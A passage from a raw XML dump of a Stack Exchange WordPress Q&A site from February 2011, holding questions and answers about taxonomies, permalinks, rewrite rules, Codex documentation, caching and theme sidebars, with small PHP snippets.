results and since your filter bypasses the cache you might have to devalidate the cache, first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or (better), copy the wp_count_posts() function and modify it to your needs, so you don't have to use the filter, don't have to sum up the results and avoid having the rest done that it does.&lt;/p&gt;&#xA;" OwnerUserId="3104" LastActivityDate="2011-02-15T13:31:39.547" CommentCount="2" />
  <row Id="9399" PostTypeId="2" ParentId="9397" CreationDate="2011-02-15T13:32:34.000" Score="1" ViewCount="" Body="&lt;p&gt;You need to know a bit about regular expressions, but you can add your own rewrite rules and variables. There's some good examples and documentation here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/WP_Rewrite&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/WP_Rewrite&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry, I've just reread your question and realised that you want to use Wordpress URL rewriting in an external application. I wouldn't bother doing that if I was you. Either build the whole thing in Wordpress or look at using a framework like Symfony, CodeIgniter or if you want something more simple, &lt;a href=&quot;https://github.com/jetviper21/nimble&quot; rel=&quot;nofollow&quot;&gt;Nimble&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2908" LastEditorUserId="2908" LastEditorDisplayName="" LastEditDate="2011-02-15T13:47:43.610" LastActivityDate="2011-02-15T13:47:43.610" />
  <row Id="9401" PostTypeId="2" ParentId="9397" CreationDate="2011-02-15T14:01:46.793" Score="4" ViewCount="" Body="&lt;p&gt;I suggest you don't try to take out the &lt;code&gt;WP_Rewrite&lt;/code&gt; class and re-use it in your application, but look at other frameworks instead. Many MVC frameworks have nice rewrite engines, that not only offer more flexibility in handling incoming URLs, but also generating internal links according to these formats.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The WordPress rewrite system is tightly coupled to the rest of the code, and for all the effort it would take to rip it out, you can just as easily have learned how to use a &quot;real&quot; framework.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-02-15T14:01:46.793" CommentCount="1" />
  <row Id="9402" PostTypeId="1" AcceptedAnswerId="9428" CreationDate="2011-02-15T06:41:34.210" Score="1" ViewCount="126" Body="&lt;p&gt;My server has 756m of RAM.  Every few days I get&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[error] server reached MaxClients setting, consider raising the MaxClients setting&lt;/p&gt;&#xA;" OwnerUserId="2966" LastActivityDate="2011-02-16T20:03:03.197" Title="What are some good Apache settings to use with wordpress?" Tags="&lt;apache&gt;" AnswerCount="2" CommentCount="4" />
  <row Id="9403" PostTypeId="1" AcceptedAnswerId="9405" CreationDate="2011-02-15T14:32:41.263" Score="0" ViewCount="68" Body="&lt;p&gt;The function &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_users_of_blog&quot; rel=&quot;nofollow&quot;&gt;get_users_of_blog()&lt;/a&gt; is to be deprecated in WP 3.1.0 but the current production release is 3.0.5. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does it make since to have the documentation reflect a nightly change when the production version of get_users_of_blog() is still the primary function used to fetch a list of users? Or is it fine so long as the version it is deprecated is listed on the article?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I reverted the page back to reflect that it was not deprecated but it was reverted quickly back to it's original state. I'm probably just missing something and was hoping someone would shed some light on this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;br&gt;&#xA;@kaiser pointed out that the codex is a wild-west of sorts, some articles are up-to-future to 3.1, up-to-date with 3.0.5, and others are very outdated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Refocusing my question, what should be the best practice for documentation on a popular framework like Wordpress that does have public nightly builds? &lt;/p&gt;&#xA;" OwnerUserId="2124" LastEditorUserId="2124" LastEditorDisplayName="" LastEditDate="2011-02-15T15:40:43.733" LastActivityDate="2011-02-16T07:20:33.477" Title="Codex Version Focus on Production or Nightly?" Tags="&lt;plugin-development&gt;&lt;documentation&gt;&lt;codex&gt;" AnswerCount="3" CommentCount="1" />
  <row Id="9404" PostTypeId="2" ParentId="9390" CreationDate="2011-02-15T14:48:07.913" Score="0" ViewCount="" Body="&lt;p&gt;If your normal pages are loading quickly, the calls to the database are probably your culprit. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would have a look at some caching options for your content. They'll render the page once as an HTML document for your logged-out visitors. Read the descriptions and see if they'll be a good fit:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wp-super-cache/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wp-super-cache/&lt;/a&gt; &#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/wp-cache/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wp-cache/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2124" LastActivityDate="2011-02-15T14:48:07.913" />
  <row Id="9405" PostTypeId="2" ParentId="9403" CreationDate="2011-02-15T14:57:46.183" Score="3" ViewCount="" Body="&lt;p&gt;The codex is some kind of a mess. General behavior is to let users (re)write it and then go over it and change what they (whoever this is) think. Ex. The Codex lacks a lot of functions in the function reference. On some places you already got the 3.1 explanations, on other completely outdated stuff. Sometimes you'll find &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/is_taxonomy&quot; rel=&quot;nofollow&quot;&gt;two versions (current and future)&lt;/a&gt; or existing empty pages for template tags &lt;a href=&quot;http://codex.wordpress.org/index.php?title=Function_Reference/has_term&amp;amp;action=edit&amp;amp;redlink=1&quot; rel=&quot;nofollow&quot;&gt;coming in the future&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-02-15T14:57:46.183" CommentCount="3" />
  <row Id="9406" PostTypeId="2" ParentId="9394" CreationDate="2011-02-15T15:01:49.217" Score="1" ViewCount="" Body="&lt;p&gt;the fastest way would be a custom sql query and i'm not sure but you can try&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$wpdb-&amp;gt;get_results(&quot;&#xA;  SELECT posts.* , COUNT(*) 'moodcount'&#xA;  FROM $wpdb-&amp;gt;posts as posts&#xA;  JOIN $wpdb-&amp;gt;postmeta as postmeta&#xA;  ON postmeta.post_id = posts.ID&#xA;  AND postmeta.meta_key = 'Mood'&#xA;  GROUP BY postmeta.meta_key&#xA;&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If anything then its a start.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-15T15:01:49.217" CommentCount="2" />
  <row Id="9407" PostTypeId="2" ParentId="9403" CreationDate="2011-02-15T15:08:02.157" Score="3" ViewCount="" Body="&lt;p&gt;On &lt;code&gt;get_users_of_blog()&lt;/code&gt; we had &lt;a href=&quot;http://wordpress.stackexchange.com/questions/9209/list-authors-of-site-with-link-and-gravatar&quot;&gt;a question before&lt;/a&gt; and the problem is that some of the built_in function still use this function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So &lt;code&gt;get_users_of_blog&lt;/code&gt; is a weird case because looking at the codex, Yes this function is depreciated and you should use &lt;code&gt;get_users()&lt;/code&gt; which should be shipped with Version 3.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but if you look at wp_list_authors ( a built-in function) it uses get_users_of_blog() be itself.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-15T15:08:02.157" CommentCount="3" />
  <row Id="9408" PostTypeId="2" ParentId="9363" CreationDate="2011-02-15T15:46:26.490" Score="3" ViewCount="" Body="&lt;p&gt;To speak generally, you need to define a sidebar for your theme (sidebars contain widgets) and display that sidebar in your template.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;In your theme's functions.php file, register a dynamic sidebar using &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_sidebar&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;register_sidebar()&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Create a sidebar.php file in your theme directory that calls &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/dynamic_sidebar&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;dynamic_sidebar()&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Make sure your other template files (or header.php/footer.php if that is more appropriate) calls &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_sidebar&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_sidebar()&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If you need some more specifics, please feel free to update this question or ask a new question. (Seeing code is good, we can provide feedback on code.)&lt;/p&gt;&#xA;" OwnerUserId="66" LastActivityDate="2011-02-15T15:46:26.490" />
  <row Id="9409" PostTypeId="2" ParentId="8682" CreationDate="2011-02-15T15:49:44.820" Score="0" ViewCount="" Body="&lt;p&gt;The issue seems to have been resolved in the latest Release Candidate of IE9.&lt;/p&gt;&#xA;" OwnerUserId="1804" LastActivityDate="2011-02-15T15:49:44.820" />
  <row Id="9410" PostTypeId="2" ParentId="9390" CreationDate="2011-02-15T15:55:10.070" Score="0" ViewCount="" Body="&lt;p&gt;Your site loads normally for me. It could be something with your own ISP too.&#xA;Also, try changing your theme and see if the issue is still there.&lt;/p&gt;&#xA;" OwnerUserId="1804" LastActivityDate="2011-02-15T15:55:10.070" />
  <row Id="9411" PostTypeId="1" CreationDate="2011-02-15T12:19:26.443" Score="1" ViewCount="360" Body="&lt;p&gt;First I will show my permalink structure: &lt;code&gt;/%category%/%post-name%/&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, I created a custom post type. And now I want to create an archive for those posts related to my custom post type. So I wonder, how will I do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Viewing it in the WordPress documentation, there is something about create a &lt;code&gt;archive-{post-type}.php&lt;/code&gt; file, but I still don't understand how it works, and it says nothing about how the permalinks will look like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What should I do?&lt;/p&gt;&#xA;" OwnerUserId="3216" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-02-15T16:02:14.163" LastActivityDate="2011-02-16T08:28:53.417" Title="How to get &quot;custom post type&quot;-archive with working permalink to it?" Tags="&lt;custom-post-types&gt;&lt;archive&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="0" />
  <row Id="9412" PostTypeId="2" ParentId="9395" CreationDate="2011-02-15T15:58:11.737" Score="0" ViewCount="" Body="&lt;p&gt;Sessions would be the best choice, that's what i'd do atleast.&#xA;and if the content that you are transferring is something very important you might want to Encrypt it before storing it in the session.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why can't you use $_SESSION, btw?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other good solution would be to use AJAX functionality.&lt;/p&gt;&#xA;" OwnerUserId="1804" LastActivityDate="2011-02-15T15:58:11.737" CommentCount="1" />
  <row Id="9413" PostTypeId="2" ParentId="9316" CreationDate="2011-02-15T16:04:59.467" Score="0" ViewCount="" Body="&lt;p&gt;Have a look at &lt;a href=&quot;http://wp-wiki.org/&quot; rel=&quot;nofollow&quot;&gt;WordPress Wiki&lt;/a&gt; or the &lt;a href=&quot;http://wpwikitheme.com/&quot; rel=&quot;nofollow&quot;&gt;WordPress wiki theme&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-02-15T16:04:59.467" />
  <row Id="9414" PostTypeId="1" CreationDate="2011-02-15T14:45:55.090" Score="1" ViewCount="775" Body="&lt;p&gt;I need to display the current term in my custom taxonomy in a single post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;example:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;My custom taxonomy is &lt;em&gt;products&lt;/em&gt; and term of them is &lt;em&gt;product-1&lt;/em&gt;, &lt;em&gt;product-2&lt;/em&gt; and &lt;em&gt;products-3&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;My post is assigned to &lt;em&gt;product-2&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;And I want to print the current products = &lt;em&gt;products-2&lt;/em&gt; in my post&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In fact, I need a function like WordPress's &lt;code&gt;the_category();&lt;/code&gt; but for my taxonomy like &lt;code&gt;the_customtaxonomy();&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in facts i know i need to get id of this becuse i need to show a icon for this in my single , for example a function like &lt;code&gt;the_category_ID();&lt;/code&gt;&lt;/p&gt;&#xA;" LastEditorUserId="-1" LastEditorDisplayName="" LastEditDate="2011-02-16T07:22:48.390" LastActivityDate="2011-08-10T18:30:48.680" Title="How to get current term in my custom taxonomy in WordPress?" Tags="&lt;custom-taxonomy&gt;&lt;terms&gt;" AnswerCount="5" FavoriteCount="1" />
  <row Id="9415" PostTypeId="2" ParentId="9414" CreationDate="2011-02-15T15:15:26.880" Score="2" ViewCount="" Body="&lt;p&gt;I found it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;//list terms in a given taxonomy using wp_list_categories (also useful as a widget if using a PHP Code plugin)&#xA;&#xA;$taxonomy     = 'genre';&#xA;$orderby      = 'name'; &#xA;$show_count   = 0;      // 1 for yes, 0 for no&#xA;$pad_counts   = 0;      // 1 for yes, 0 for no&#xA;$hierarchical = 1;      // 1 for yes, 0 for no&#xA;$title        = '';&#xA;&#xA;$args = array(&#xA;  'taxonomy'     =&amp;gt; $taxonomy,&#xA;  'orderby'      =&amp;gt; $orderby,&#xA;  'show_count'   =&amp;gt; $show_count,&#xA;  'pad_counts'   =&amp;gt; $pad_counts,&#xA;  'hierarchical' =&amp;gt; $hierarchical,&#xA;  'title_li'     =&amp;gt; $title&#xA;);&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;ul&amp;gt;&#xA;&amp;lt;?php wp_list_categories( $args ); ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It gets all terms in my custom taxonomy and I need to get current term.&lt;/p&gt;&#xA;" LastEditorUserId="2322" LastEditorDisplayName="" LastEditDate="2011-02-15T19:53:18.007" LastActivityDate="2011-02-15T19:53:18.007" />
  <row Id="9416" PostTypeId="2" ParentId="9414" CreationDate="2011-02-15T15:47:44.797" Score="2" ViewCount="" Body="&lt;p&gt;You can use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_the_term_list&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_the_term_list()&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;h3&gt;Description&lt;/h3&gt;&#xA;  &#xA;  &lt;p&gt;Returns an HTML string of taxonomy terms associated with a post and given taxonomy. Terms are linked to their respective term listing pages. &lt;/p&gt;&#xA;  &#xA;  &lt;h3&gt;Usage&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php get_the_term_list( $id, $taxonomy, $before, $sep, $after ) ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="2370" LastActivityDate="2011-02-15T15:47:44.797" CommentCount="3" />
  <row Id="9417" PostTypeId="2" ParentId="9411" CreationDate="2011-02-15T16:08:26.887" Score="4" ViewCount="" Body="&lt;p&gt;Custom post types don't have archives, this will be a new feature in WP 3.1 (with the &lt;code&gt;has_archive&lt;/code&gt; argument when registering them). There are multiple ways for emulating these archives in WP 3.0, &lt;a href=&quot;http://wordpress.stackexchange.com/questions/1878/custom-post-type-archives-by-date-and-taxonomy&quot;&gt;one of them is explained in another question here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-02-15T16:08:26.887" />
  <row Id="9418" PostTypeId="2" ParentId="9414" CreationDate="2011-02-15T16:35:06.713" Score="1" ViewCount="" Body="&lt;p&gt;You need to use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_get_object_terms&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_get_object_terms()&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;wp_get_object_terms( $object_ids, $taxonomies, $args )&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;$object_ids: string or array ids for the objects you want to get terms for&lt;/li&gt;&#xA;&lt;li&gt;$taxonomies: string or array of taxonomies&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-02-15T16:35:06.713" />
  <row Id="9419" PostTypeId="1" AcceptedAnswerId="10162" CreationDate="2011-02-15T17:05:53.750" Score="7" ViewCount="1044" Body="&lt;p&gt;I created a 'forum' taxonomy, using these rules:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;register_taxonomy(&#xA;  'forum',&#xA;  array('topic'),&#xA;  array(&#xA;    'public' =&amp;gt; true,&#xA;    'name' =&amp;gt; _a('Forums'),&#xA;    'singular_name' =&amp;gt; _a('Forum'),&#xA;    'show_ui' =&amp;gt; true,&#xA;    'show_in_nav_menus' =&amp;gt; true,&#xA;    'hierarchical' =&amp;gt; true,&#xA;&#xA;    'labels' =&amp;gt; array(&#xA;      'name' =&amp;gt; _a('Forums'),&#xA;      'singular_name' =&amp;gt; _a('Forum'),&#xA;      'search_items' =&amp;gt; _a('Search Forums'),&#xA;      'popular_items' =&amp;gt; _a('Popular Forums'),&#xA;      'all_items' =&amp;gt; _a('All Forums'),&#xA;      'parent_item' =&amp;gt; _a('Parent Forum'),&#xA;      'parent_item_colon' =&amp;gt; _a('Parent Forum:'),&#xA;      'edit_item' =&amp;gt; _a('Edit Forum'),&#xA;      'update_item' =&amp;gt; _a('Update Forum'),&#xA;      'add_new_item' =&amp;gt; _a('Add New Forum'),&#xA;      'new_item_name' =&amp;gt; _a('New Forum Name'),&#xA;    ),&#xA;    'query_var' =&amp;gt; true,&#xA;    'rewrite' =&amp;gt; array('slug' =&amp;gt; 'forums', 'with_front' =&amp;gt; false, 'hierarchical' =&amp;gt; true),  &#xA;  )&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the front-end the URLs looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;forums/general-discussion/sub-forum&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I remove the front slug (&quot;forums&quot;)? Ie, change the URLs to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;general-discussion/sub-forum&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I pass a empty slug argument to register_taxonomy() it works, but that causes issues with the permalinks of the post type associated with this taxonomy&lt;/p&gt;&#xA;" OwnerUserId="1986" LastEditorUserId="1986" LastEditorDisplayName="" LastEditDate="2011-02-24T19:53:51.327" LastActivityDate="2011-05-26T05:53:52.483" Title="Remove taxonomy slug from a custom hierarchical taxonomy permalink" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;permalinks&gt;" AnswerCount="6" CommentCount="11" FavoriteCount="4" />
  <row Id="9420" PostTypeId="1" CreationDate="2011-02-15T17:11:00.673" Score="1" ViewCount="45" Body="&lt;p&gt;I want to display some external RSS Feeds in my theme - not on a sidebar - just before a homepage content that I'm building.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a core shortcut or method to display RSS on themes?&lt;/p&gt;&#xA;" OwnerUserId="2011" LastEditorUserId="373" LastEditorDisplayName="" LastEditDate="2011-05-24T12:24:40.517" LastActivityDate="2011-05-24T12:24:40.517" Title="RSS Widget on theme" Tags="&lt;rss&gt;" AnswerCount="2" />
  <row Id="9421" PostTypeId="2" ParentId="9419" CreationDate="2011-02-15T17:17:21.963" Score="1" ViewCount="" Body="&lt;p&gt;I'd take a look at the code of the top level cats plugin:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://fortes.com/projects/wordpress/top-level-cats/&quot; rel=&quot;nofollow&quot;&gt;http://fortes.com/projects/wordpress/top-level-cats/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could easily adapt that so it's looking for your custom taxonomy slug by changing the &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$category_base = get_option('category_base');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;on line 74 to something like like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$category_base = 'forums';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2908" LastActivityDate="2011-02-15T17:17:21.963" CommentCount="1" />
  <row Id="9422" PostTypeId="1" AcceptedAnswerId="9423" CreationDate="2011-02-15T17:19:15.193" Score="0" ViewCount="105" Body="&lt;p&gt;I'm trying to add my plugin interface to the Category Editor. I've easily attached it to the post and page editor using the add_meta_box() filter, but there does not appear to be an add_meta_box hook on the category editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, since I'm already adding some extra fields to the category edit screen using add_filter('edit_category_form', 'my_category_editor_function', 1) I'm wondering if I can just call my plugin script from within that function?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('edit_category_form', 'my_category_editor_function', 1);&#xA;function my_category_editor_function($tag) {&#xA;    $tag_extra_fields = get_option('my_category_editor_function');?&amp;gt;&#xA;    &amp;lt;!--This is where I would call my plugin interface--&amp;gt;&#xA;    &amp;lt;div style=&quot;float:right;top:0;right:0&quot;&amp;gt;&#xA;    &amp;lt;?php &#xA;        /*&#xA;        load my widget here. May have to use some funky css to get it to float &#xA;        to the right of the cat editor just like it does in the post editor&#xA;        */&#xA;    ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;!--This is my current fields added with the filter--&amp;gt;&#xA;    &amp;lt;table class=&quot;form-table&quot;&amp;gt;&#xA;    &amp;lt;tr class=&quot;form-field&quot;&amp;gt;&#xA;        &amp;lt;th scope=&quot;row&quot; valign=&quot;top&quot;&amp;gt;&amp;lt;label for=&quot;_my-categoryTitle&quot;&amp;gt;Category Title&amp;lt;/label&amp;gt;&amp;lt;/th&amp;gt;&#xA;        &amp;lt;td&amp;gt;&amp;lt;input name=&quot;_my-categoryTitle&quot; id=&quot;_my-categoryTitle&quot; type=&quot;text&quot; size=&quot;40&quot; aria-required=&quot;false&quot; value=&quot;&amp;lt;?php echo $tag_extra_fields[$tag-&amp;gt;term_id]['my_cat_title']; ?&amp;gt;&quot; /&amp;gt;&#xA;        &amp;lt;p class=&quot;description&quot;&amp;gt;The title is optional but will be used in place of the name on the home page category index (when in list view) and on the category landing page.&amp;lt;/p&amp;gt;&#xA;        &amp;lt;/td&amp;gt;&#xA;    &amp;lt;/tr&amp;gt;&#xA;    &amp;lt;tr class=&quot;form-field&quot;&amp;gt;&#xA;        &amp;lt;th scope=&quot;row&quot; valign=&quot;top&quot;&amp;gt;&amp;lt;label for=&quot;_my-categoryKeywords&quot;&amp;gt;Keywords&amp;lt;/label&amp;gt;&amp;lt;/th&amp;gt;&#xA;        &amp;lt;td valign=&quot;top&quot;&amp;gt;&amp;lt;input name=&quot;_my-categoryKeywords&quot; id=&quot;_my-categoryKeywords&quot; type=&quot;text&quot; size=&quot;40&quot; aria-required=&quot;false&quot; value=&quot;&amp;lt;?php if(isset($tag_extra_fields[$tag-&amp;gt;term_id]['my_cat_keywords']))echo $tag_extra_fields[$tag-&amp;gt;term_id]['my_cat_keywords']; ?&amp;gt;&quot; /&amp;gt;&#xA;        &amp;lt;p class=&quot;description&quot;&amp;gt;Optional: If you want to add a keywords metatag to the category landing page and keywords in the Category image's alt tag.&amp;lt;/p&amp;gt;&#xA;        &amp;lt;/td&amp;gt;&#xA;    &amp;lt;/tr&amp;gt;&#xA;    &amp;lt;tr class=&quot;form-field&quot;&amp;gt;&#xA;        &amp;lt;th scope=&quot;row&quot; valign=&quot;top&quot;&amp;gt;&amp;lt;label for=&quot;_my-categoryImageLink&quot;&amp;gt;Image Link&amp;lt;/label&amp;gt;&amp;lt;/th&amp;gt;&#xA;        &amp;lt;td valign=&quot;top&quot;&amp;gt;&amp;lt;input name=&quot;_my-categoryImageLink&quot; id=&quot;_my-categoryImageLink&quot; type=&quot;text&quot; size=&quot;40&quot; aria-required=&quot;false&quot; value=&quot;&amp;lt;?php if(isset($tag_extra_fields[$tag-&amp;gt;term_id]['my_cat_imageLink']))echo $tag_extra_fields[$tag-&amp;gt;term_id]['my_cat_imageLink']; ?&amp;gt;&quot; /&amp;gt;&#xA;        &amp;lt;p class=&quot;description&quot;&amp;gt;Optional: If you want to link the &amp;lt;b&amp;gt;category landing page image&amp;lt;/b&amp;gt; to an affiliate or CPA offer, place your link here.&amp;lt;/p&amp;gt;&#xA;        &amp;lt;/td&amp;gt;&#xA;    &amp;lt;/tr&amp;gt;&#xA;    &amp;lt;tr class=&quot;form-field&quot;&amp;gt;&#xA;        &amp;lt;th scope=&quot;row&quot; valign=&quot;top&quot;&amp;gt;&amp;lt;label for=&quot;_my-categoryAds&quot;&amp;gt;Hide Ads?&amp;lt;/label&amp;gt;&amp;lt;/th&amp;gt;&#xA;        &amp;lt;td&amp;gt;&amp;lt;input name=&quot;_my-categoryAds&quot; id=&quot;_my-categoryAds&quot; type=&quot;checkbox&quot; style=&quot;width:30px;float:left;&quot;&amp;lt;?php if(isset($tag_extra_fields[$tag-&amp;gt;term_id]['my_cat_ads'])) echo ' checked=&quot;checked&quot;'; ?&amp;gt;&quot; /&amp;gt;&#xA;        &amp;lt;p class=&quot;description&quot;&amp;gt;&amp;lt;label for=&quot;_my-categoryAds&quot;&amp;gt;Check this to remove ads from this category's landing page. (Does not affect ads placed in widgets)&amp;lt;/label&amp;gt;&amp;lt;/p&amp;gt;&#xA;        &amp;lt;/td&amp;gt;&#xA;    &amp;lt;/tr&amp;gt;&#xA;    &amp;lt;/table&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastActivityDate="2011-02-15T17:34:06.863" Title="Can I attach a plugin via my add_filter callback contents?" Tags="&lt;plugin-development&gt;&lt;filters&gt;&lt;add-meta-box&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="9423" PostTypeId="2" ParentId="9422" CreationDate="2011-02-15T17:34:06.863" Score="0" ViewCount="" Body="&lt;p&gt;you can do that as long as&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!--This is where I would call my plugin interface--&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;outputs the HTML form fields.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-15T17:34:06.863" />
  <row Id="9424" PostTypeId="2" ParentId="9420" CreationDate="2011-02-15T17:49:50.233" Score="3" ViewCount="" Body="&lt;p&gt;You may use the method provided by Jeff here :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://digwp.com/2009/11/import-and-display-feeds-in-wordpress/&quot; rel=&quot;nofollow&quot;&gt;http://digwp.com/2009/11/import-and-display-feeds-in-wordpress/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;read the comments as the feed.php include is not required.&lt;/p&gt;&#xA;" OwnerUserId="1922" LastActivityDate="2011-02-15T17:49:50.233" />
  <row Id="9425" PostTypeId="1" AcceptedAnswerId="9431" CreationDate="2011-02-15T19:02:31.450" Score="0" ViewCount="75" Body="&lt;p&gt;I'm trying to get a list of roles and filter them by a specific capability (custom). I've ran across &lt;a href=&quot;http://wordpress.stackexchange.com/questions/1665/getting-a-list-of-currently-available-roles-on-a-wordpress-site&quot;&gt;this post&lt;/a&gt;, but I'd like to filter the roles by whether they're capable to, say, &lt;code&gt;edit_post&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Zack&lt;/p&gt;&#xA;" OwnerUserId="2322" LastActivityDate="2011-02-15T21:25:51.073" Title="Filter list of rules based on a capability" Tags="&lt;capabilities&gt;&lt;roles&gt;" AnswerCount="1" FavoriteCount="0" />
  <row Id="9426" PostTypeId="2" ParentId="9373" CreationDate="2011-02-15T19:27:06.837" Score="1" ViewCount="" Body="&lt;p&gt;&lt;code&gt;do_feed_*&lt;/code&gt; are not filter hooks, they are action hooks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Their purpose is not to modify generated markup, but only to call function that loads template. It is highly recommended to only have single function hooked to these.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So correct way to use this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Remove native function that loads feed template.&lt;/li&gt;&#xA;&lt;li&gt;Create your tweaked template.&lt;/li&gt;&#xA;&lt;li&gt;Add your own function that loads your template.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Alternatively use filters in template tags and &lt;code&gt;is_feed()&lt;/code&gt; conditional to modify their output when producing feed.&lt;/p&gt;&#xA;" OwnerUserId="847" 